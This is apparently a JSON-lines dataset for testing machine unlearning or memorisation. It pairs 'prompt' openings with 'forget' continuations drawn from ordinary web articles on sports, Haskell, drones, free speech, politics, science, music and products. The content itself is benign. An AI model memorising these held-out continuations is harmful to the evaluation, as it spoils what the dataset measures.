\u2013 Avery Bradley Avery Bradley\u2019s defense made an immediate impact when he returned to the lineup in early January following double-shoulder surgery last summer. A couple of months later, his offense is beginning to make an impact, too. Bradley is scoring 12.0 PPG this month and is on pace to become the sixth Celtics player this season to average"}
{"prompt": "Encoding Statistical Independence, Statically Jared Tobin Blocked Unblock Follow Following Feb 15, 2016 Applicative functors are useful for encoding context-free effects. This typically gets put to work around things like parsing or validation, but if you have a statistical bent then an applicative structure will be familiar to you as an encoder of independence. In this article I\u2019ll give a whirlwind tour of probability monads and algebraic freeness, and demonstrate that applicative functors can be used to represent independence between probability distributions in a way that can be verified statically. I\u2019ll use the following preamble for the code in the", "forget": "rest of this article. You\u2019ll need the free and mwc-probability libraries if you\u2019re following along at home: {-# LANGUAGE DeriveFunctor #-} {-# LANGUAGE LambdaCase #-} import Control.Applicative import Control.Applicative.Free import Control.Monad import Control.Monad.Free import Control.Monad.Primitive import System.Random.MWC.Probability (Prob) import qualified System.Random.MWC.Probability as MWC Probability Distributions and Algebraic Freeness Many functional programmers (though fewer statisticians) know that probability has a monadic structure. This can be expressed in multiple ways; the discrete probability distribution type found in things like the PFP framework, the sampling function representation used in the lambda-naught paper (and implemented here, for example), and even an obscure measure-based representation that doesn\u2019t have a ton of practical use. The monadic structure of probability allows one to sequence distributions together. That is: if some distribution \u2018foo\u2019 has a parameter which itself has the probability distribution \u2018bar\u2019 attached to it, the compound distribution can be expressed by the monadic expression \u2018bar >>= foo\u2019. At a larger scale, monadic programs like this correspond exactly to what you\u2019d typically see in a run-of-the-mill visualization of a probabilistic model: Graphical notation for simple Gaussian mixture model. In this classical kind of visualization the nodes represent probability distributions and the arrows describe the dependence structure. Translating it to a monadic program is mechanical: the nodes become monadic expressions and the arrows become binds (I\u2019ll provide a simple example in a moment). The monadic structure of probability implies that it also has a functorial structure. Mapping a function over some probability distrubution will transform its support while leaving its probability density structure invariant in some sense. If the function \u2018uniform\u2019 defines a uniform probability distribution over the interval (0, 1), then the function \u2018fmap (+ 1) uniform\u2019 will define a probability distribution over the interval (1, 2). I\u2019ll come back to probability shortly, but the point is"}
{"prompt": "Pilot: Drone operator has no 'skin' in the collision avoidance game To the Editor: The Post-Standard editorial for May 11 cheerleading the rapid phase-in of commercial drones was myopic. The editors focused exclusively on positive aspects that would benefit news coverage. In the mid-80s I accumulated about 900 hours as a single engine flight instructor and about 500 hours flying twin turbine commuter aircraft. With manned aircraft, the rule is \"see and be seen.\" Most drones would be hard for a pilot to see. The drone operator would likely not be constantly sweeping the sky from left to right as", "forget": "pilots are trained to do. An operator safely on the ground would have no skin in the collision avoidance game. What about loss of propeller power or total loss of control of a drone? What might it hit or where may it fall? Should there be weight, speed and altitude limits? I watched a BBC news clip where a reporter tried to fly a small drone. He lost control and crashed it. Many drones have unguarded propellors which could cut up a person. Should they be flown over crowds, school yards or residential neighborhoods? What kind of training might be required for drone operators? Who will conduct it? Who will certify that operators are competent, as pilots are certified? It is no stretch to see that there will be some who fly drones without training or certification. Who will police the use of drones and what might be the penalties? Since they are controlled by digital radio signal, there will be folks who for fun or profit will hack into drone control systems to try to take them over. What kinds of weapons might be delivered by a non-military drone? Toxins or a bomb? What operating range will drones have? What will they do if they fly out of operator control range? Autonomous drones would not have the sensibility of a pilot for constantly varying flight situations. Captain Sullenberger quickly decided the best option was to ditch his powerless jetliner in the Hudson River. And, what about noise and privacy issues? There should be no rush to get commercial and privately owned drones into the air. Garry Nichols Manlius Editorial failed to address privacy and civil liberties issues To the Editor: It is readily understandable that news corporations would want to use drones to record and report news. The imaging"}
{"prompt": "Public universities must tolerate students\u2019 off-campus speech even when it offends some, or most, of the student body. Recent incidents at Old Dominion University (ODU) and The Ohio State University (OSU) serve as reminders that this is not always what happens. At both universities, students adorned their off-campus residences with signs offering a less than wholesome welcome to new and returning students. The banners at ODU read, \u201cRowdy and fun \u2013 Hope your baby girl is ready for a good time,\u201d \u201cFreshman daughter drop off,\u201d and \u201cGo ahead and drop mom off too.\u201d Signs at an OSU apartment, which were", "forget": "taken down after move-in day, read, \u201cDads, we\u2019ll take it from here,\u201d and \u201cDaughter daycare 2.0.\u201d The offending students at ODU have also removed their banners after being contacted by their administration, and may face repercussions from their fraternity, Sigma Nu. While these incidents may mark the first time in the new academic year that students at ODU and OSU encounter speech they find offensive or insulting, they will undoubtedly not be the last. As Tyler Kingkade shows in The Huffington Post today, suggestive signs like these are hardly uncommon in the university setting. In a worrying response to the banners, the ODU administration published a statement warning students that \u201c[m]essages like the ones displayed yesterday by a few students on the balcony of their private residence are not and will not be tolerated\u201d and that \u201c[a]ny student found to have violated the code of conduct will be subject to disciplinary action.\u201d An OSU spokesperson made a similar threat, claiming that \u201cstudent code violations go with a student regardless of whether it is on or off campus.\u201d These statements are troubling. ODU and OSU are welcome to take part in the marketplace of ideas and to criticize the messages on these banners, but they must do so without threatening the students with punishment for protected speech. ODU and OSU, like all public universities, are not the arbiters of what students can and cannot say off campus. They can\u2019t even ban crude speech on campus. If students are found to be in violation of student codes of conduct solely for the content of these banners, ODU and OSU will have run afoul of the constitution. In Papish v. Board of Curators of the University of Missouri (1973), the Supreme Court held that students cannot be punished simply because their speech contradicts"}
{"prompt": "SPRINGFIELD - It is the issue that has long frustrated many homeowners and city officials - the hundreds of applications for new sidewalks in Springfield that have languished on a waiting list for years. \"There are more applications every day,\" Public Works Director Christopher Cignoli said this week. \"It's extremely disheartening when we tell residents that it could be five years (or longer).\" Some sidewalk requests from homeowners date back more than a decade, and funding for the work has been very limited over the years, Cignoli said. The current backlog of requests is about 600 sidewalk locations reflecting just", "forget": "applications from homeowners, he said. \"We know there is probably five times more,\" Cignoli said. Mayor Domenic J. Sarno and the City Council approved approximately $600,000 for sidewalk construction this year, as part of a city-funded bond for road and sidewalk construction that will help, Cignoli said. That may allow the city to complete about 100 sidewalk locations, he said. \"I wish I had more, I really do,\" Cignoli said. \"I am glad the backlog is getting smaller. We are chipping away, but still have a ton of area.\" Sarno said he shares the residents' concerns about the sidewalk work needed, and is making a \"good faith effort\" to address the backlog. The new concrete sidewalks are one component that helps to address and improve quality of life issues in neighborhoods, he said. \"Quite simply put, the sidewalk program has always been a challenge for so many, many years before my time (as mayor),\" Sarno said. The city budget has not allocated funds for sidewalk repairs for many years, outside of this year's bond order. However, the city does receive some federal grant funds for sidewalks, primarily approximately $300,000 in federal Community Development Block Grant funds. The total waiting list could be worth $3 million to $4 million, Cignoli said. Sidewalks in business districts are treated as priorities, to promote economic development, and the city generally seeks to then address the longest-delayed residential applications, Cignoli said. The city targets sidewalks citywide, but the federal grant program is confined to approximately 65 percent of the city, generally low and moderate income areas, under program guidelines. At-large Councilor Kateri B. Walsh said many residents are upset by the long waits for new sidewalks and there is also anger when temporary repairs sometimes occur with black asphalt, while waiting for the new concrete"}
{"prompt": "Visitors to the shrine chant a prayer to the saint. Before heading back to their homes, many will give alms to the beggars who sit on the tomb\u2019s marble steps. Mariya Karimjee In Manghopir, the shrine\u2019s caretakers worry about the consequences for their fledgling microeconomy. Vendors struggle to sell flowers outside the shrines, the mosaic tile work at the shrine falls into disrepair as donations shrink, and the beggars who once lived off visitors\u2019 alms have dispersed. The shrine\u2019s caretakers are concerned that eventually there may be no crocodiles left. Currently, they say, there are an estimated 200 crocodiles at", "forget": "the shrine, though the actual number appears to be smaller. \u201cEvery so often we\u2019ll sacrifice a goat and cut it up and feed it to the crocodiles, but these animals live off the donations of shrine visitors,\u201d says Mahmood, who has watched over the reptiles since he was a young boy. Each year since 2010, citing imminent threats by Islamic fundamentalists, the Sindh government has canceled the Sheedi Mela, an annual festival that long honored the culture of those responsible for caring for the shrine \u2014 all descendants of African slaves brought to Pakistan by Omani traders. Proceeds from the festival could often feed the crocodiles for months. Muhammad Saleem Shaikh, the public-relations manager for the province\u2019s charitable-giving department, which oversees shrines, mosques and historic religious venues, says he saw no choice but to cancel the festival again this year. Manghopir has become one of Karachi\u2019s no-go zones, where violence and crime are so rampant that security forces refuse to enter. These pockets of lawlessness within Pakistan\u2019s largest city have become safe havens for the Taliban, say analysts. In early November, five tortured bodies were found in the area; police have no leads or pending investigations into the crime. Says Shaikh, \u201cElsewhere in Karachi, homeless men seeking refuge in various shrines are found beheaded simply for practicing their religion.\u201d In January, at another shrine in the city, police found a scroll of paper inside the mouth of a man who had been beheaded. The note, signed by the Pakistani Taliban, said that worshipping Sufi saints was blasphemy and forbidden by Islam. Baba Mohammad, an elder patron of Manghopir\u2019s shrine, says he believes the Taliban consider the local Sufi community a threat. The Sufi culture that thrives in Sindh is one reason the Taliban haven\u2019t made bigger inroads in the province,"}
{"prompt": "Hulu has reached a distribution deal with Pluto TV, a startup whose service repackages online video into a TV-like programming grid, covering nearly all of Hulu\u2019s free television and movie content. Under the pact, Pluto TV has access to everything Hulu makes available on its free, ad-supported website. That includes current-season broadcast fare from ABC, NBC and Fox such as episodes of \u201cThe Tonight Show Starring Jimmy Fallon\u201d (pictured above), \u201cJimmy Kimmel Live\u201d and \u201cSaturday Night Live\u201d; older TV shows like \u201cSeinfeld,\u201d \u201cCheers,\u201d \u201cBuffy the Vampire Slayer\u201d and \u201cHappy Days\u201d; and anime and cartoon shows. Just as Hulu makes free", "forget": "content available only on the Web \u2014 with only subscribers to its $7.99-per-month service having access to content on other connected devices \u2014 Pluto TV will make Hulu\u2019s free content available only via its website. Pluto TV\u2019s other channels are available on multiple platforms, including iOS and Android mobile devices, Amazon\u2019s Fire TV and Fire TV Stick, Android TV devices, Google\u2019s Chromecast, to Apple TV via Apple AirPlay and Samsung Smart TVs. Terms of the deal were not disclosed, but Pluto TV CEO Tom Ryan said Hulu will be serving up the ads for the content. Related Hulu CMO Kelly Campbell Discusses Viewer Engagement Hulu Appoints Barbara Fiorentino as Head of Talent and Casting In addition to Hulu, Pluto TV has recently struck deals with a half-dozen other content partners to distribute their programming: Shout! Factory, Jukin Media, Devin SuperTramp, Multicom, Around the World in 4K and Amazing Places on Our Planet. Previously announced partners include AOL and Endemol. For Hulu and Pluto TV\u2019s other content suppliers, the pacts promise to broaden their reach \u2014 but it\u2019s not clear exactly by how much. Ryan declined to reveal how many people are actively using the startup\u2019s video service, except to say that the company is delivering \u201cmillions of video views\u201d per day. The idea behind Pluto TV, which last year launched the service with more than 100 curated channels, is to present Internet video in a menu that looks like a traditional cable TV guide. With many of its \u201clinear\u201d channels, Pluto strings together video segments presented in a continuous, TV-like stream \u2014 the theory being that it gives users interested, say, \u201970s TV shows, latenight television or \u201ccats 24/7\u201d a familiar way to discover and watch new content. With Hulu, Pluto TV is launching more than a dozen dedicated channels."}
{"prompt": "CLOSE Rural counties in western Wisconsin have become difficult to predict politically. Richland County is one of 19 counties in the U.S. to vote for every winning president since 1980. Rick Wood and Craig Gilbert / Milwaukee Journal Sentinel Dan Anderson, who runs Anderson\u2019s Saw Shop outside Richland Center, Wis., describes himself as an independent who voted for Democrat Hillary Clinton only because of health care. (Photo11: Craig Gilbert, Milwaukee Journal Sentinel) RICHLAND CENTER, Wis. \u2014 Just over a year ago this rural battleground region swung hard for Donald Trump in a clamor for political change. But today that frustration", "forget": "with politics appears undiminished and is aimed in all directions \u2014 including Trump\u2019s. \u201cWe\u2019re wasting so much time,\u201d said Trump voter Robin DeFabbio, interviewed at Kelly\u2019s Coffee House here. She would like Trump's staff to take his Twitter account away. \u25ba Monday: Analysis: Trump is betting tax cuts will make him popular \u25ba Nov. 7: Trump has tweeted 2,461 times since the election \u25ba Nov. 6: Trump has changed Washington more than Washington has changed him \u201cHe\u2019s like a very bad child that I\u2019m glad I didn\u2019t raise,\u201d she said. She laments a do-little Congress, two parties that can\u2019t work together, ceaseless division, the media circus over Trump and a swamp that hasn't been drained. \u201cYou just get disappointed on a bunch of levels, not just (with President Trump). Everything's in gridlock, nothing's moving.\u201d Robin DeFabbio, Richland Center, Wis. \u201cYou just get disappointed on a bunch of levels, not just (with Trump). Everything's in gridlock, nothing's moving,\u201d she said. \u201cYou can\u2019t get anywhere like this.\" At taverns, churches, bowling alleys and American Legion halls, people here echo that discontent. Hillary Clinton voters are disconsolate and Trump appalls them. Trump voters who are happy with Trump are unhappy with Congress and Trump\u2019s GOP critics. Trump voters who are critical of Trump \u2014 and they\u2019re not too hard to find here \u2014 display everything from resignation to pique to exasperation with his behavior. Voters of all stripes complain about the political culture, including the media, the parties, and the inability to have a respectful conversation about politics with political opponents. \u201cI am a political science major. I am starting to hate politics. Actually, not starting, I do hate politics: the vitriol and the vulgarity and the lack of willingness to talk to people,\u201d said Kari Walker, co-owner with her husband of the"}
{"prompt": "While losses by the Dallas Cowboys and Houston Texans caused a dip in the market for Super Bowl tickets, demand and prices are still high for the big game in two weeks. On SeatGeek, the ticketing platform I co-founded, the average ticket to this year\u2019s Super Bowl has resold for an average of $5,101 as of Sunday. If prices hold steady at this level, it will be the most in-demand Super Bowl SeatGeek has seen since it started tracking the market in the 2010 season. Prices fell quite a bit following the Cowboys defeat last weekend - as seen in", "forget": "SeatGeek\u2019s Super Bowl Ticket Tracker the average price paid for a ticket dropped by about $1,000 in the 24 hours following that game. However, over the past week prices have crept back up. This has likely been caused by the makeup of the four remaining teams. Three of them are legacy NFL franchises with rich histories along with recent successes, and the fourth has never won a Super Bowl in team history. Prior to last season SeatGeek studied how much each NFL team impacts ticket prices on the road. It may come as little surprise that the Green Bay Packers, Pittsburgh Steelers and New England Patriots were the top three teams on that list. All of these teams caused prices to basically double when they came to town, a trend that has continued for this season. In that same study, the Atlanta Falcons were shown to actually cause a decrease in prices. While that may be the case during the regular season - and when the study took place the Falcons were coming off a 6-10 season - the Super Bowl is a totally different story. Outside of Texas, where the game is taking place, Georgia has been the state with the most interested fans looking to buy Super Bowl tickets on SeatGeek in the week leading up to the conference championships. While those fans may have been getting a bit ahead of themselves at the time, the Falcons 44-21 victory over the Packers on Sunday made sure that there will be plenty of black and red in NRG Stadium come Feb. 5. All of this has led to an average resale price of more than $5,000. While some tickets can be had for around $3,500, those who want prime seats are going to spend close to $10,000 a ticket."}
{"prompt": "The Mandelbrot set (black) within a continuously colored environment Progressive infinite iterations of the \"Nautilus\" section of the Mandelbrot Set rendered using webGL Mandelbrot animation based on a static number of iterations per pixel Mandelbrot set detail The Mandelbrot set is the set of complex numbers c {\\displaystyle c} for which the function f c ( z ) = z 2 + c {\\displaystyle f_{c}(z)=z^{2}+c} does not diverge when iterated from z = 0 {\\displaystyle z=0} , i.e., for which the sequence f c ( 0 ) {\\displaystyle f_{c}(0)} , f c ( f c ( 0 ) ) {\\displaystyle", "forget": "f_{c}(f_{c}(0))} , etc., remains bounded in absolute value. Zooming into the Mandelbrot set Its definition and name are due to Adrien Douady, in tribute to the mathematician Benoit Mandelbrot.[1] The set is connected to a Julia set, and related Julia sets produce similarly complex fractal shapes. Mandelbrot set images may be created by sampling the complex numbers and testing, for each sample point c {\\displaystyle c} , whether the sequence f c ( 0 ) , f c ( f c ( 0 ) ) , \u2026 {\\displaystyle f_{c}(0),f_{c}(f_{c}(0)),\\dotsc } goes to infinity (in practice -- whether it leaves some predetermined bounded neighborhood of 0 after a predetermined number of iterations). Treating the real and imaginary parts of c {\\displaystyle c} as image coordinates on the complex plane, pixels may then be coloured according to how soon the sequence | f c ( 0 ) | , | f c ( f c ( 0 ) ) | , \u2026 {\\displaystyle |f_{c}(0)|,|f_{c}(f_{c}(0))|,\\dotsc } crosses an arbitrarily chosen threshold, with a special color (usually black) used for the values of c {\\displaystyle c} for which the sequence has not crossed the threshold after the predetermined number of iterations (this is necessary to clearly distinguish the Mandelbrot set image from the image of its complement). If c {\\displaystyle c} is held constant and the initial value of z {\\displaystyle z} \u2014denoted by z 0 {\\displaystyle z_{0}} \u2014is variable instead, one obtains the corresponding Julia set for each point c {\\displaystyle c} in the parameter space of the simple function. Images of the Mandelbrot set exhibit an elaborate and infinitely complicated boundary that reveals progressively ever-finer recursive detail at increasing magnifications. The \"style\" of this repeating detail depends on the region of the set being examined. The set's boundary also incorporates smaller versions"}
{"prompt": "Executive summary This paper reviews the empirical literature on the employment effects of increases in the minimum wage. It organizes the most prominent studies in this literature by their use of two different empirical approaches: studies that match labor markets experiencing a minimum-wage increase with an appropriate comparison labor market, and studies that do not. A review of this literature suggests that: The studies that compare labor markets experiencing a minimum-wage increase with a carefully chosen comparison labor market tend to find that minimum-wage increases have little or no effect on employment. The studies that do not match labor markets", "forget": "experiencing a minimum-wage increase with a comparison labor market tend to find that minimum-wage increases reduce employment. A better understanding of which approach is more rigorous is required to make reliable inferences about the effects of the minimum wage. This paper argues that: Labor market policy analysts strongly prefer studies that match \u201ctreatment\u201d with \u201ccomparison\u201d cases in a defensible way over studies that simply include controls and fixed effects in a regression model. The studies using the most rigorous research designs generally find that minimum-wage increases have little or no effect on employment. Application of these findings to any particular minimum-wage proposal requires careful consideration of whether the proposal is similar to other minimum-wage policies that have been studied. If a proposal occurs under dramatically different circumstances, the empirical literature on the minimum wage should be invoked with caution. Introduction President Harry Truman famously joked that he wanted to hire a one-armed economist because all of his staff economists would resort to \u201con the one hand\u2026 but on the other hand\u2026\u201d formulations when giving policy advice. Truman just wanted a straight answer. Today, policymakers and the public also seem to want a one-armed economist in discussions of the minimum wage. Minimum-wage policy in the United States is made at the federal, state, and local level. The federal government imposes a minimum wage nationally (currently $7.25 an hour for most workers) that Congress can raise. Many states and even local governments set minimum wages that are higher than the federal minimum. One group of well-regarded economists contends that increases in the minimum wage reduce employment by raising labor costs, while another group insists the evidence shows that minimum-wage increases do not reduce employment, likely due to factors such as reduced turnover, increased productivity, and small price increases. Responsible economists understandably mention"}
{"prompt": "The 19-year-old, the product of Mr Wright's relationship with Elizabeth Anne Mead after he divorced three earlier wives, was originally due to receive $3 million in a trust fund triggered by her 30th birthday. Mining magnate and Voyager Estate founder Michael Wright amassed a huge fortune before his death Credit:Erin Jonasson EJZ But the judgement shows that even the smaller windfall was far from guaranteed - with some stringent clauses within the trust. Mr Sanderson notes in the dossier that Ms Mead would have been deemed exempt from the funds if she \"had any association or involvemnet whatsoever to illegal", "forget": "drugs\" was convicted of any felony within the 10 years prior to his death, of if she had \"converted to Buddhism or Islam\". In fact the judgment notes that not only did the fund fail to \"make adequate provision\" for Ms Mead but that the many clauses within the trust meant there was \"a real propsect she might get nothing\". It goes on to detail that a drink driving offence or possession of marijuana would exclude her from the money and noted that giving up her freedom of religion was \"an extraordinary proposition\" which contravened a basic human right. Contrasting with the \"poor little rich girl\" headlines the case has spawned, Mr Sanderson also noted Ms Mead was \"in no sense ... spoilt by her father\". \"During her childhood the deceased provided little to the plaintiff or her mother in material support,\" he said. \"He did pay childcare as he was obliged to do under the relevant legislation. \"He paid for school fees for a private college and he provided the plaintiff with some pocket money. But really that was the extent of his largesse. \"Any gifts he gave the plaintiff were of nominal value. \"The deceased never purchased a home in which the plaintiff and her mother could live despite the fact they moved a number of times from one rented premises to another.\" Mr Sanderson said Ms Mead did not impress him as \"a gold digger or in some way a narcissistic greedy individual\" - despite some of the extraordinary items she was asked by lawyers and actuaries to list for her claim, specifying her likely expenditure for the rest of her life. Despite having, now infamously, drafted a wishlist that included a $2.5 million house, a $1.5 million piano, an allocation of $40,000 a year for holidays"}
{"prompt": "Oddly enough, I don't think I ever mentioned my PhD research on this blog. Part of the reason is that I easily get fascinated by technical questions, but I find it less natural to explain what I do in non-technical terms. However, I have to write the introduction to my PhD thesis, so I thought it was a nice excuse to start by summarizing here what I am doing. For readers who don't know, I'm doing my PhD in T\u00e9l\u00e9com ParisTech, in the DBWeb team. Before this, I stayed for some months in Tel Aviv to work with Tova Milo,", "forget": "and in Oxford to work with Michael Benedikt, which explains some of my current collaborations. The general context: Uncertain data The great success story of database research is the relational model. It is a rare example of something that is both extremely relevant in practice and nice from a theoretical perspective, with close connections to logics and finite model theory. The relational model gives an abstract model of how data should be represented and queried, which allows people to use databases as a black box, leaving fine but domain-agnostic optimisations to database engines. Relational databases, like compilers, filesystems, or virtual memory, have become an abstraction that everyone relies on. One thing that the relational model does not handle is uncertainty and incompleteness in the data. In the relational semantics, the database is perfectly accurate, and it contains all facts that may be of interest. In practice, however, this is rarely satisfactory: Some values may be missing : for instance, the user did not fill in some fields when registering, or some fields were added since they registered. : for instance, the user did not fill in some fields when registering, or some fields were added since they registered. The data may be incomplete : for instance, you are constructing your database by harvesting data from the Web, and you haven't harvested everything yet; but you still wonder whether the data that you have allows you to give a definitive answer to your query. : for instance, you are constructing your database by harvesting data from the Web, and you haven't harvested everything yet; but you still wonder whether the data that you have allows you to give a definitive answer to your query. Data may be outdated : for instance, the user moved but they did not update their address."}
{"prompt": "When it came to choosing my first \u201colder\u201d Only the Music choice of 2019 it was very clear which route I\u2019d be taking. Fresh in my memory as I type is the recent launch of Venus Unwrapped, the concert series at London\u2019s Kings Place which will spend the next eleven months throwing a light on the achievements of women composers. That opening event saw soprano Mary Bevan and members of the Orchestra of the Age of Enlightenment perform the music of seventeenth century Venetian composer Barbara Strozzi, and by the time the year is out over 100 women composers will", "forget": "have been represented across over sixty events. It should be fascinating, and I suspect many of us will emerge the other end having had previously-held perceptions challenged and changed. So the first track on this month\u2019s playlist is the first movement of French composer Louise Farrenc\u2019s 1847 Symphony No 3 in G minor, a magnificent work that represents a colossal achievement not simply for the fact that it was composed at a time when women were barred from composition classes at the Paris Conservatoire, but also because this was an era during which symphonic music in general was out of fashion on Parisian stages, audiences instead preferring grand opera. Opening with solitary oboe, before quickly and expertly building to a huge full-orchestra climax, this is a brilliantly crafted and thoroughly ear-grabbing work which thoroughly explains why Robert Schumann admired her music so much. It\u2019s Schumann who then tops this month\u2019s three new release choices, in the shape of cellist Gautier Capu\u00e7on\u2019s new all-Schumann programme for Warner Classics, after which we have Early Music vocal ensemble Stile antico on Harmonia Mundi, with a programme centred around English Elizabethan composers in exile. Then to finish, a first foray into the recording studio from the young Consone Quartet that\u2019s resulted in a programme of Mendelssohn and Haydn which I\u2019ve no doubt I\u2019ll still be describing in eleven months\u2019 time as one of the most satisfying recording debuts of 2019. Schumann Years in development, Gautier Capu\u00e7on\u2019s latest album is an all-Schumann programme of live concert recordings dating between 2009 and 2015, made with some of his longest-standing musical collaborators and champions. Its superlative curtain-raiser is the Cello Concerto (composed so the three movements flowed seamlessly into each other with no breaks, such was Schumann\u2019s dislike of mid-work applause), recorded in 2015 in the Amsterdam"}
{"prompt": "On August 22, 2015, at approximately 07:13 a.m., the Coos Bay Police Department dispatch center received a 911 call pertaining to a reckless driver within the Empire District of the City of Coos Bay. An Oregon State Police Senior Trooper overheard the criminal call and responded to assist. The Trooper located the suspect vehicle unoccupied and parked on N. Morrison Street in the City of Coos Bay. The Trooper attempted to contact the registered owner of the vehicle at an adjacent residence to further the investigation into the Reckless Driving complaint. The Trooper attempted contact at the residence and was", "forget": "unable to contact the registered owner of the vehicle in question. The Trooper walked away from the residence and was conducting further follow up investigation and documenting suspect vehicle descriptions and identifiers as the vehicle was parked on the side of N. Morrison Street. As the Trooper was conducting the follow up investigation, an adult male identified as Michael SCOTT, age 25, from North Bend, came out of the residence from which the Trooper had previously attempted to contact the registered owner. SCOTT approached the suspect vehicle and the Trooper with a digital recording device in hand. SCOTT proceeded to climb up onto the hood of the car and then sit on the roof of the car with his legs positioned over the windshield, facing the Trooper who was positioned near the front of the suspect vehicle. The Trooper disengaged contact with SCOTT and walked back towards his patrol vehicle and ultimately re-entered the patrol vehicle. SCOTT dismounted from the suspect vehicle and followed the Trooper. SCOTT continued to advance towards the police vehicle, walking in front of it, on the passenger side, across the rear and then advancing towards the driver side. The Trooper exited his vehicle as SCOTT was approaching him from the rear. The Trooper was attempting to stop SCOTT from further interfering with his investigation of the original Reckless Driving Complaint. Coos Bay Police Department responded and arrived to assist with the investigation and further continuing the investigation into the Reckless Driving Complaint. The Oregon State Police is continuing the investigation into the incident with SCOTT and will be referring the completed criminal report to the Coos County District Attorney\u2019s Office for consideration of the charges of: Interfering with a Police Officer and Disorderly Conduct II. Other criminal charges may be considered upon the review of"}
{"prompt": "June 15, 2016 Super-resolution microscopy reveals unprecedented detail of immune cells\u2019 surface Salk scientists show how T-cell receptors reposition during an immune response, revealing more on how the immune system is regulated June 15, 2016 LA JOLLA\u2014When the body is fighting an invading pathogen, white blood cells\u2014including T cells\u2014must respond. Now, Salk Institute researchers have imaged how vital receptors on the surface of T cells bundle together when activated. This study, the first to visualize this process in lymph nodes, could help scientists better understand how to turn up or down the immune system\u2019s activity to treat autoimmune diseases, infections", "forget": "or even cancer. The results were published the week of June 13, 2016 in Proceedings of the National Academy of Sciences. \u201cWe had seen these receptors cluster and reposition in cultured cells that were artificially stimulated in the lab, but we\u2019ve never seen their natural arrangements in lymph nodes until now,\u201d says senior author Bj\u00f6rn Lillemeier, an associate professor in Salk\u2019s Nomis Laboratories for Immunobiology and Microbial Pathogenesis, and the Waitt Advanced Biophotonics Center. T cells are activated when receptors embedded in their outer membrane bind to other immune cells that have digested an antigen, such as a virus, bacteria or cancer cell. In turn, the activated T cells switch on cellular pathways that help the body both actively seek out and destroy the antigen and remember it for the future. In the past, by looking at T-cell receptors embedded in isolated cells under the microscope, researchers discovered that the receptors are arranged in clusters\u2014called protein islands\u2014that merge when the cells are activated. Lillemeier wanted more detail on how the receptors are arranged in tissue and how that arrangement might change when the T cells are activated in living hosts. The team used a super-resolution microscope developed in the laboratory of co-senior author Hu Cang, assistant professor at Salk\u2019s Waitt Advanced Biophotonics Center and holder of the Frederick B. Rentschler Developmental Chair. This microscopy approach, called light-sheet direct stochastic optical reconstruction microscopy (dSTORM), let the researchers watch T cell receptors in the membranes of T cells in mouse lymph nodes at a resolution of approximately 50 nanometers. The new imagery confirmed the previous observation that protein islands of T-cell receptors merge into larger \u201cmicroclusters\u201d when T cells are activated. But it also showed that, before cells are activated, the protein islands are already arranged in groups\u2014dubbed \u201cterritories\u201d by Lillemeier\u2019s team."}
{"prompt": "The number of multiracial Americans is growing nationwide, but in Hawaii, it\u2019s nothing new. The Rainbow State \u2013 with its history of attracting immigrants from Asia and other parts of the world to work as farm laborers \u2013 stands far above the rest, with nearly one-in-four residents (24%) identifying as multiracial, according to a Pew Research Center analysis of Census Bureau data. The next most-multiracial states are far behind: Alaska (8%) and Oklahoma (7%). Here\u2019s another way to look at how much Hawaii stands out: In terms of total population, Hawaii is one of the smallest (1.4 million people), ranking", "forget": "40th out of 50 states. But when ranking states with the highest total multiracial population, the state ranks sixth, with more than 330,000. A new Pew Research survey found that the number of multiracial Americans may be higher than the estimates from Census, which has estimated that 3% of the overall U.S. population \u2013 and 2.1% of the adult population \u2013 is multiracial. But taking into account how adults describe their own race as well as the racial backgrounds of their parents and grandparents \u2013 which the census does not do \u2013 Pew Research estimates that 6.9% of the U.S. adult population could be considered multiracial. For this state analysis, we used Census data because the Pew Research survey did not have an adequate sample size for state-level analysis. (Delaware, Montana, North Dakota, South Dakota, Vermont and Wyoming were not analyzed due to the small number of multiracial people interviewed in those states.) In Hawaii, the vast majority (70%) of multiracial residents say they are some combination of white, Asian and Native Hawaiian/Pacific Islander. For example, the largest biracial groups in Hawaii are white and Asian (18%), Asian and Native Hawaiian/Pacific Islander (18%), and white and Native Hawaiian/Pacific Islander (12%). Interestingly, Hawaii is the only state to have a tri-racial group as its largest multiracial group, one that includes white, Asian and Native Hawaiian/Pacific Islander (22%). There is also wide diversity within the Asian race subgroup, with people claiming roots in China, Japan and the Philippines \u2013 nations from which immigrants arrived with the growth of the sugar cane industry in the mid-1800s. Hawaii\u2019s abundance of multiracial people with Asian and Native Hawaiian/Pacific Islander heritage differs from the makeup of the nation\u2019s overall multiracial population (including adults and children). In the U.S., the multiracial population is more evenly spread among"}
{"prompt": "Starting out as a TV show in 1995 and gaining popularity through the Rebuild film series, Evangelion has captured the hearts of countless fans. The iconic Spear of Longinus from the series is now available in tweezer form! Although tweezers are quite common and often used in everyday life, it is rather difficult to come across one of high-quality. It is an item where cost does not necessarily equate to quality. However, we were able to mass produce the Spear of Longinus in the form of high-quality tweezers with the technology the human race has built up. Plucking even the", "forget": "deepest ingrown hair will become an easy task with the Tweezers of Longinus. We are confident that the Tweezers of Longinus will offer performance and quality that truly lives up to the Longinus name. \u25a0But why tweezers?\u201cBut why make the Spear of Longinus in the form of tweezers?\u201d This may be a question that a lot of you have in mind. The reason is simple; the Spear was the perfect shape for tweezers!Normal tweezers are only approximately 8 centimeters long, and can only be handled with your fingertips. In comparison, the Tweezers of Longinus are longer. They are approximately 11 centimeters long and will fit perfectly in your hands.\u25a0Functional designAn incredible amount of thinking and planning was put into the design of the Tweezers of Longinus.While recreating the form of the Spear of Longinus, the design prevents deformation and damage even when the tips are bent outwards.\u25a0What are they capable of?The tips of the tweezers are constructed to clamp together with precision.They can hold on tightly to normal hairs, short hairs, fine and downy hairs and thorns.\u25a0The tweezers will be shipped inside sliding cases that allow users to carry them safely and withdraw them easily for use.\u25a0High quality tweezers made in JapanThe tweezers are crafted using wire electrical discharge machining, a technique which is rarely used for mass produced items. This technique allows for precise machining in 0.001 mm intervals, which is far more precise than even the most skilled tweezer craftspeople. We were able to create an extremely precise grip using these techniques on stainless steel.The preciseness of the tweezers allows them to pick individual fibers from tissue paper (approx. 15\u03bcm). Say goodbye to dull tweezers and those that accidentally cut hairs instead of plucking them. Each piece is crafted in a small-scale workshop in Kanagawa, Japan by wire"}
